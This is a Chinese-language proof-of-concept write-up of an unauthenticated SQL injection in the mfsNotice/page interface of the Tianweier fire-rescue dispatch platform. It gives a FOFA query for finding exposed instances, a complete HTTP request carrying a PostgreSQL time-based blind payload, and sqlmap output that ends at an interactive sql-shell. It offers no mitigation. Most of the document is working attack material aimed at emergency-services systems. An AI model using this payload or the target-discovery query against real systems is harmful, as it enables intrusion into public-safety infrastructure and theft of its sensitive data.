T14-1天维尔-消防救援作战调度平台-SQL

漏洞描述：

天维尔消防救援作战调度平台 mfsNotice/page 接口处存在SQL注入漏洞，未经身份验证的攻击者可利用此漏洞获取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

FOFA：body="天维尔信息科技股份有限公司"&& title=="登入"

漏洞复现：

payload：

```
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
```

效果图:
延时5秒，执行两次

Sqlmap验证

```
[root@VM-16-8-centos sqlmap-1.7]# python3 sqlmap.py -r post56.txt --sql-shell

        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the e
e local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage

[*] starting @ 14:36:55 /2024-04-19/

[14:36:55] [INFO] parsing HTTP request from 'post56.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
JSON data found in POST body. Do you want to process it? [Y/n/q] y
[14:36:57] [INFO] resuming back-end DBMS 'postgresql'
[14:36:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: {"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELE
"hgubmt748n4":"="}
---
[14:36:57] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[14:36:57] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>
```